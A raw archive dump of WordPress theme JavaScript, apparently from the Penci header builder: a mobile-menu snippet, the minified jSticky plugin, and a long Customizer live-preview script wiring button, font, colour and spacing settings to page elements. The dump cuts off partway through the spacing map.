        $(".close-mobile-menu-builder").on("click", function (e) {
            e.preventDefault();
            $("body").removeClass("open-mobile-builder-sidebar-nav");
        });
    };
    /* Init functions
       ---------------------------------------------------------------*/
    $(document).ready(function () {
        PENCI.sticky_header();
        PENCI.mobile_menu();
        PENCI.main_menu();
        $("body").on("penci-ajax-menu-loaded", function () {
            PENCI.main_menu();
        });
    });
})(jQuery); // EOF
PK     N\#    +  inc/builder/assets/js/jquery.jsticky.min.jsnu [        /* jSticky Plugin
 * =============
 * Author: Andrew Henderson (@AndrewHenderson)
 * Contributor: Mike Street (@mikestreety)
 * Date: 9/7/2012
 * Update: 09/20/2016
 * Website: http://github.com/andrewhenderson/jsticky/
 * Description: A jQuery plugin that keeps select DOM element(s)
 * in view while scrolling the page.
 */
!function(t){t.fn.sticky=function(s){function i(){return"number"==typeof o.zIndex?!0:!1}function e(){return 0<t(o.stopper).length||"number"==typeof o.stopper?!0:!1}var n={topSpacing:0,zIndex:"",stopper:".sticky-stopper",stickyClass:!1},o=t.extend({},n,s),r=i(),p=e();return this.each(function(){function s(){var s=u.scrollTop(),n=f,h=i.parent().width();if(l.width(h),p&&"string"==typeof f){var y=t(f).offset().top;n=y-e-c}if(s>d){if(o.stickyClass&&i.addClass(o.stickyClass),i.after(l).css({position:"fixed",top:c,width:h}),r&&i.css({zIndex:a}),p&&s>n){var v=n-s+c;i.css({top:v})}}else o.stickyClass&&i.removeClass(o.stickyClass),i.css({position:"static",top:null,left:null,width:"auto"}),l.remove()}var i=t(this),e=i.outerHeight(),n=i.outerWidth(),c=o.topSpacing,a=o.zIndex,d=i.offset().top-c,l=t("<div></div>").width(n).height(e).addClass("sticky-placeholder"),f=o.stopper,u=t(window);u.innerHeight()>e&&(u.bind("scroll",s),u.bind("load",s),u.bind("resize",s))})}}(jQuery);
PK     N\FIa a +  inc/builder/assets/js/customizer-preview.jsnu [        (function ($, api) {

    "use strict";

    // button 1
    wp.customize('setting(penci_header_pb_button_section)(penci_header_pb_button_text_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-1').html(newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_section)(penci_header_pb_button_link_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-1').attr('href', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_section)(penci_header_pb_button_link_target)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-1').attr('target', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_section)(penci_header_pb_button_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-1')
                .removeClass('customize button-define-style-1 button-define-style-2 button-define-style-3 button-define-style-4')
                .addClass('button-define-' + newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_section)(penci_header_pb_button_shape)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-1')
                .removeClass('button-shape-ratangle button-shape-circle button-shape-round')
                .addClass('button-shape-' + newval);
        });
    });

    // button 2
    var button_2_border,
        button_2_bg,
        button_2_txt,
        button_2_border_hv,
        button_2_bg_hv,
        button_2_txt_hv;
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_text_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2').html(newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_link_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2').attr('href', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_link_target)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2').attr('target', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_spacing_setting)', function (value) {
        value.bind(function (newval) {
            spacing_elements(newval, '.penci-builder.penci-builder-button.button-2');
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_border_color)', function (value) {
        button_2_border = wp.customize.settings.values.penci_header_pb_button_2_border_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2').css('border-color', newval);
            button_2_border = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_bg_color)', function (value) {
        button_2_bg = wp.customize.settings.values.penci_header_pb_button_2_bg_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2').css('background-color', newval);
            button_2_bg = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_txt_color)', function (value) {
        button_2_txt = wp.customize.settings.values.penci_header_pb_button_2_txt_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2').css('color', newval);
            button_2_txt = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2')
                .removeClass('customize button-define-style-1 button-define-style-2 button-define-style-3 button-define-style-4')
                .addClass('button-define-' + newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_shape)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2')
                .removeClass('button-shape-ratangle button-shape-circle button-shape-round')
                .addClass('button-shape-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_font)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2')
                .css('font-family', loading_font_name(newval));
            loading_font_css(loading_font_name(newval));
        });
    });

    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_font_w)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2')
                .css('font-weight', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_font_s)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-2')
                .css('font-style', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_border_hv_color)', function (value) {
        value.bind(function (newval) {
            button_2_border_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_bg_hv_color)', function (value) {
        value.bind(function (newval) {
            button_2_bg_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_txt_hv_color)', function (value) {
        value.bind(function (newval) {
            button_2_txt_hv = newval;
        });
    });

    $(document).on('mouseenter', '.penci-builder.penci-builder-button.button-2', function () {
        if (button_2_border_hv) {
            $(this).css('border-color', button_2_border_hv);
        }
        if (button_2_bg_hv) {
            $(this).css('background-color', button_2_bg_hv);
        }
        if (button_2_txt_hv) {
            $(this).css('color', button_2_txt_hv);
        }
    }).on('mouseleave', '.penci-builder.penci-builder-button.button-2', function () {
        $(this).css('background-color', button_2_bg);
        $(this).css('color', button_2_txt);
        $(this).css('border-color', button_2_border);
    });

    // button 3
    var button_3_border,
        button_3_bg,
        button_3_txt,
        button_3_border_hv,
        button_3_bg_hv,
        button_3_txt_hv;
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_text_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3').text(newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_link_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3').attr('href', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_link_target)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3').attr('target', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_spacing_setting)', function (value) {
        value.bind(function (newval) {
            spacing_elements(newval, '.penci-builder.penci-builder-button.button-3');
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_border_color)', function (value) {
        button_3_border = wp.customize.settings.values.penci_header_pb_button_3_border_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3').css('border-color', newval);
            button_3_border = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_bg_color)', function (value) {
        button_3_bg = wp.customize.settings.values.penci_header_pb_button_3_bg_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3').css('background-color', newval);
            button_3_bg = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_txt_color)', function (value) {
        button_3_txt = wp.customize.settings.values.penci_header_pb_button_3_txt_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3').css('color', newval);
            button_3_txt = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3')
                .removeClass('customize button-define-style-1 button-define-style-2 button-define-style-3 button-define-style-4')
                .addClass('button-define-' + newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_shape)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3')
                .removeClass('button-shape-ratangle button-shape-circle button-shape-round')
                .addClass('button-shape-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_font)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3')
                .css('font-family', loading_font_name(newval));
            loading_font_css(loading_font_name(newval));
        });
    });

    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_font_w)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3')
                .css('font-weight', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_font_s)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-3')
                .css('font-style', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_border_hv_color)', function (value) {
        value.bind(function (newval) {
            button_3_border_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_bg_hv_color)', function (value) {
        value.bind(function (newval) {
            button_3_bg_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_txt_hv_color)', function (value) {
        value.bind(function (newval) {
            button_3_txt_hv = newval;
        });
    });

    $(document).on('mouseenter', '.penci-builder.penci-builder-button.button-3', function () {
        if (button_3_border_hv) {
            $(this).css('border-color', button_3_border_hv);
        }
        if (button_3_bg_hv) {
            $(this).css('background-color', button_3_bg_hv);
        }
        if (button_3_txt_hv) {
            $(this).css('color', button_3_txt_hv);
        }
    }).on('mouseleave', '.penci-builder.penci-builder-button.button-3', function () {
        $(this).css('background-color', button_3_bg);
        $(this).css('color', button_3_txt);
        $(this).css('border-color', button_3_border);
    });

    // new button
    wp.customize('setting(penci_header_pb_search_icon_section)(penci_header_search_style)', function (value) {
        value.bind(function (newval) {
            $('body')
                .removeClass('pchds-overlay pchds-showup')
                .addClass('pchds-' + newval);
            $('.wrapper-boxed')
                .removeClass('header-search-style-overlay header-search-style-showup header-search-style-default')
                .addClass('header-search-style-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_btn_style)', function (value) {
        value.bind(function (newval) {
            $('.pb-header-builder.cart-icon')
                .removeClass('pc-button-define-customize pc-button-define-style-1 pc-button-define-style-2 pc-button-define-style-3 pc-button-define-style-4')
                .addClass('pc-button-define-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_btnstyle)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder-elements.pcheader-icon.compare-icon > a')
                .removeClass('pc-button-define-customize pc-button-define-style-1 pc-button-define-style-2 pc-button-define-style-3 pc-button-define-style-4')
                .addClass('pc-button-define-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_btnstyle)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder-elements.pcheader-icon.wishlist-icon > a')
                .removeClass('pc-button-define-customize pc-button-define-style-1 pc-button-define-style-2 pc-button-define-style-3 pc-button-define-style-4')
                .addClass('pc-button-define-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_search_icon_section)(penci_header_search_icon_btn_style)', function (value) {
        value.bind(function (newval) {
            $('.pc-builder-element.penci-top-search .search-click')
                .removeClass('customize pc-button-define-style-1 pc-button-define-style-2 pc-button-define-style-3 pc-button-define-style-4')
                .addClass('pc-button-define-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_btn_style)', function (value) {
        value.bind(function (newval) {
            $('.navigation .button-menu-mobile')
                .removeClass('customize pc-button-define-style-1 pc-button-define-style-2 pc-button-define-style-3 pc-button-define-style-4')
                .addClass('pc-button-define-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_btn_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-menuhbg-toggle.builder')
                .removeClass('customize pc-button-define-style-1 pc-button-define-style-2 pc-button-define-style-3 pc-button-define-style-4')
                .addClass('pc-button-define-' + newval);
        });
    });

    // button mobile 1
    var button_mobile_border,
        button_mobile_bg,
        button_mobile_txt,
        button_mobile_border_hv,
        button_mobile_bg_hv,
        button_mobile_txt_hv;
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_text_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1').text(newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_link_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1').attr('href', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_link_target)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1').attr('target', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_spacing_setting)', function (value) {
        value.bind(function (newval) {
            spacing_elements(newval, '.penci-builder.penci-builder-button.button-mobile-1');
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_border_color)', function (value) {
        button_mobile_border = wp.customize.settings.values.penci_header_pb_button_mobile_border_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1').css('border-color', newval);
            button_mobile_border = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_bg_color)', function (value) {
        button_mobile_bg = wp.customize.settings.values.penci_header_pb_button_mobile_bg_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1').css('background-color', newval);
            button_mobile_bg = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_txt_color)', function (value) {
        button_mobile_txt = wp.customize.settings.values.penci_header_pb_button_mobile_txt_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1').css('color', newval);
            button_mobile_txt = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1')
                .removeClass('customize button-define-style-1 button-define-style-2 button-define-style-3 button-define-style-4')
                .addClass('button-define-' + newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_shape)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1')
                .removeClass('button-shape-ratangle button-shape-circle button-shape-round')
                .addClass('button-shape-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_font)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1')
                .css('font-family', loading_font_name(newval));
            loading_font_css(loading_font_name(newval));
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_font_w)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1')
                .css('font-weight', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_font_s)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-1')
                .css('font-style', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_border_hv_color)', function (value) {
        value.bind(function (newval) {
            button_mobile_border_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_bg_hv_color)', function (value) {
        value.bind(function (newval) {
            button_mobile_bg_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_txt_hv_color)', function (value) {
        value.bind(function (newval) {
            button_mobile_txt_hv = newval;
        });
    });

    $(document).on('mouseenter', '.penci-builder.penci-builder-button.button-mobile-1', function () {
        if (button_mobile_border_hv) {
            $(this).css('border-color', button_mobile_border_hv);
        }
        if (button_mobile_bg_hv) {
            $(this).css('background-color', button_mobile_bg_hv);
        }
        if (button_mobile_txt_hv) {
            $(this).css('color', button_mobile_txt_hv);
        }
    }).on('mouseleave', '.penci-builder.penci-builder-button.button-mobile-1', function () {
        $(this).css('background-color', button_mobile_bg);
        $(this).css('color', button_mobile_txt);
        $(this).css('border-color', button_mobile_border);
    });

    // button mobile 2
    var button_mobile_2_border,
        button_mobile_2_bg,
        button_mobile_2_txt,
        button_mobile_2_border_hv,
        button_mobile_2_bg_hv,
        button_mobile_2_txt_hv;
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_text_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2').text(newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_link_setting)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2').attr('href', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_link_target)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2').attr('target', newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_spacing_setting)', function (value) {
        value.bind(function (newval) {
            spacing_elements(newval, '.penci-builder.penci-builder-button.button-mobile-2');
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_border_color)', function (value) {
        button_mobile_2_border = wp.customize.settings.values.penci_header_pb_button_mobile_2_border_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2').css('border-color', newval);
            button_mobile_2_border = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_bg_color)', function (value) {
        button_mobile_2_bg = wp.customize.settings.values.penci_header_pb_button_mobile_2_bg_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2').css('background-color', newval);
            button_mobile_2_bg = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_txt_color)', function (value) {
        button_mobile_2_txt = wp.customize.settings.values.penci_header_pb_button_mobile_2_txt_color;
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2').css('color', newval);
            button_mobile_2_txt = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_style)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2')
                .removeClass('customize button-define-style-1 button-define-style-2 button-define-style-3 button-define-style-4')
                .addClass('button-define-' + newval);
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_shape)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2')
                .removeClass('button-shape-ratangle button-shape-circle button-shape-round')
                .addClass('button-shape-' + newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_font)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2')
                .css('font-family', loading_font_name(newval));
            loading_font_css(loading_font_name(newval));
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_font_w)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2')
                .css('font-weight', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_font_s)', function (value) {
        value.bind(function (newval) {
            $('.penci-builder.penci-builder-button.button-mobile-2')
                .css('font-style', newval);
        });
    });

    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_border_hv_color)', function (value) {
        value.bind(function (newval) {
            button_mobile_2_border_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_bg_hv_color)', function (value) {
        value.bind(function (newval) {
            button_mobile_2_bg_hv = newval;
        });
    });
    wp.customize('setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_txt_hv_color)', function (value) {
        value.bind(function (newval) {
            button_mobile_2_txt_hv = newval;
        });
    });

    $(document).on('mouseenter', '.penci-builder.penci-builder-button.button-mobile-2', function () {
        if (button_mobile_2_border_hv) {
            $(this).css('border-color', button_mobile_2_border_hv);
        }
        if (button_mobile_2_bg_hv) {
            $(this).css('background-color', button_mobile_2_bg_hv);
        }
        if (button_mobile_2_txt_hv) {
            $(this).css('color', button_mobile_2_txt_hv);
        }
    }).on('mouseleave', '.penci-builder.penci-builder-button.button-mobile-2', function () {
        $(this).css('background-color', button_mobile_2_bg);
        $(this).css('color', button_mobile_2_txt);
        $(this).css('border-color', button_mobile_2_border);
    });

    // darkmode button
    wp.customize('setting(penci_header_pb_darkmode_section)(penci_header_pb_darkmode_style)', function (value) {
        value.bind(function (newval) {
            $('.pb-header-builder.pc-dmswitcher-element .pc_dm_mode')
                .removeClass('style_1 style_2 style_3 style_4')
                .addClass('style_' + newval);
        });
    });

    // general spacing
    var $element_spacings = {
        'setting(penci_header_pb_block_section)(penci_header_pb_block_spacing)': '.penci-header-builder .penci-header-block-1',
        'setting(penci_header_pb_block_2_section)(penci_header_pb_block_2_spacing)': '.penci-header-builder .penci-header-block-2',
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_spacing)': '.penci-header-builder .pb-header-builder.cart-icon',
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_spacing)': '.penci-header-builder .penci-builder-elements.compare-icon',
        'setting(penci_header_pb_date_time_section)(penci_header_pb_data_time_spacing)': '.penci-header-builder .penci-builder-element.penci-data-time-format',
        'setting(penci_header_pb_dropdown_menu_section)(penci_header_pb_dropdown_menu_spacing)': '.pc-builder-element.pc-builder-menu.pc-dropdown-menu',
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_spacing)': '.penci-header-builder .pc-builder-element.penci-menuhbg-wapper',
        'setting(penci_header_builder_pb_html_section)(penci_header_builder_pb_html_spacing)': '.penci-header-builder .penci-builder-element.penci-html-ads',
        'setting(penci_header_pb_logo_section)(penci_header_pb_logo_spacing)': '.penci-header-builder .pc-builder-element.pc-logo',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_spacing)': '.penci-header-builder .pc-builder-element.pc-builder-menu',
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_spacing)': '.penci_navbar_mobile .navigation.mobile-menu',
        'setting(penci_header_pb_news_ticker_section)(penci_header_pb_news_ticker_spacing)': '.penci-header-builder .penci-builder-element.pctopbar-item',
        'setting(penci_header_pb_search_icon_section)(penci_header_search_spacing)': '.penci-header-builder .pc-builder-element.penci-top-search',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_spacing)': '.penci-header-builder .pc-builder-element.pc-second-menu',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_spacing)': '.penci-header-builder .pc-builder-element.pc-third-menu',
        'setting(penci_header_pb_shortcode_section)(penci_header_builder_pb_shortcode_spacing)': '.penci-header-builder .penci-builder-element.penci-shortcodes',
        'setting(penci_header_pb_shortcode_2_section)(penci_header_builder_pb_shortcode_2_spacing)': '.penci-header-builder .penci-builder-element.penci-shortcodes-2',
        'setting(penci_header_pb_shortcode_3_section)(penci_header_builder_pb_shortcode_3_spacing)': '.penci-header-builder .penci-builder-element.penci-shortcodes-3',
        'setting(penci_header_pb_shortcode_mobile_section)(penci_header_builder_pb_shortcode_mobile_spacing)': '.penci-header-builder .penci-builder-element.penci-shortcodes-mobile',
        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_spacing)': '.penci-header-builder .header-social.penci-builder-element.desktop-social',
        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_spacing)': '.penci-header-builder .pc-builder-element.wishlist-icon',
        'setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_spacing)': '.penci-header-builder .pc-header-element.pc-login-register',
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_menu_spacing)': '.penci-header-builder .penci-builder-element.pc-search-form',
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_menu_spacing)': '.penci-builder-mobile-sidebar-nav .penci-builder-element.pc-search-form.pc-search-form-sidebar',
        'setting(penci_header_pb_logo_mobile_section)(penci_header_pb_logo_mobile_spacing)': '.pc-builder-element.pc-logo.pb-logo-mobile',
        'setting(penci_header_topblockbar_setting_section)(penci_header_topblock_spacing_setting)': '.penci-desktop-topblock',
        'setting(penci_header_topbar_setting_section)(penci_header_topbar_spacing_setting)': '.penci-desktop-topbar',
        'setting(penci_header_bottombar_setting_section)(penci_header_bottombar_spacing_setting)': '.penci-desktop-bottombar',
        'setting(penci_header_midbar_setting_section)(penci_header_midbar_spacing_setting)': '.penci-desktop-midbar',
        'setting(penci_header_bottomblockbar_setting_section)(penci_header_bottomblock_spacing_setting)': '.penci-desktop-bottomblock',
        'setting(penci_header_desktop_option_section)(penci_header_spacing_setting)': '.penci_header.penci-header-builder.main-builder-header',
        'setting(penci_header_mobile_topbar_setting_section)(penci_header_mobile_topbar_spacing_setting)': '.penci-mobile-topbar',
        'setting(penci_header_mobile_bottombar_setting_section)(penci_header_mobile_bottombar_spacing_setting)': '.penci-mobile-bottombar',
        'setting(penci_header_mobile_midbar_setting_section)(penci_header_mobile_midbar_spacing_setting)': '.penci-mobile-midbar',
        'setting(penci_header_desktop_sticky_top_section)(penci_header_sticky_top_spacing_setting)': '.penci-desktop-sticky-top',
        'setting(penci_header_desktop_sticky_mid_section)(penci_header_sticky_mid_spacing_setting)': '.penci-desktop-sticky-mid',
        'setting(penci_header_desktop_sticky_bottom_section)(penci_header_sticky_bottom_spacing_setting)': '.penci-desktop-sticky-bottom',
        'setting(penci_header_mobile_sidebar_section)(penci_header_mobile_sidebar_spacing_setting)': '.penci-builder-mobile-sidebar-nav.penci-menu-hbg',
        'setting(penci_header_desktop_sticky_section)(penci_header_desktop_sticky_spacing_setting)': '.penci_builder_sticky_header_desktop',
        'setting(penci_header_pb_vertical_line_1_section)(penci_header_pb_vertical_line1_spacing)': '.penci-builder-element.vertical-line-1',
        'setting(penci_header_pb_vertical_line_2_section)(penci_header_pb_vertical_line2_spacing)': '.penci-builder-element.vertical-line-2',
        'setting(penci_header_pb_vertical_line_3_section)(penci_header_pb_vertical_line3_spacing)': '.penci-builder-element.vertical-line-3',
        'setting(penci_header_pb_vertical_line_4_section)(penci_header_pb_vertical_line4_spacing)': '.penci-builder-element.vertical-line-4',
        'setting(penci_header_pb_vertical_line_5_section)(penci_header_pb_vertical_line5_spacing)': '.penci-builder-element.vertical-line-5',
        'setting(penci_header_pb_vertical_line_mobile_1_section)(penci_header_pb_vertical_line_mobile1_spacing)': '.penci-builder-element.vertical-line-mobile-1',
        'setting(penci_header_pb_vertical_line_mobile_2_section)(penci_header_pb_vertical_line_mobile2_spacing)': '.penci-builder-element.vertical-line-mobile-2',
        'setting(penci_header_pb_button_section)(penci_header_pb_button_spacing_setting)': '.penci-builder.penci-builder-button.button-1',
        'setting(penci_header_pb_button_2_section)(penci_header_pb_button_2_spacing_setting)': '.penci-builder.penci-builder-button.button-2',
        'setting(penci_header_pb_button_3_section)(penci_header_pb_button_3_spacing_setting)': '.penci-builder.penci-builder-button.button-3',
        'setting(penci_header_pb_button_mobile_section)(penci_header_pb_button_mobile_spacing_setting)': '.penci-builder.penci-builder-button.button-mobile-1',
        'setting(penci_header_pb_button_mobile_2_section)(penci_header_pb_button_mobile_2_spacing_setting)': '.penci-builder.penci-builder-button.button-mobile-2',
        'setting(penci_header_pb_search_icon_section)(penci_header_search_btnspacing)': '.pc-builder-element.penci-top-search .search-click',
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_btnspacing)': '.pb-header-builder.cart-icon .top-search-classes a.cart-contents',
        'setting(penci_header_pb_compare_icon_section)(penci_header_pb_compare_icon_section_btnspacing)': '.penci-builder-elements.pcheader-icon.compare-icon > a',
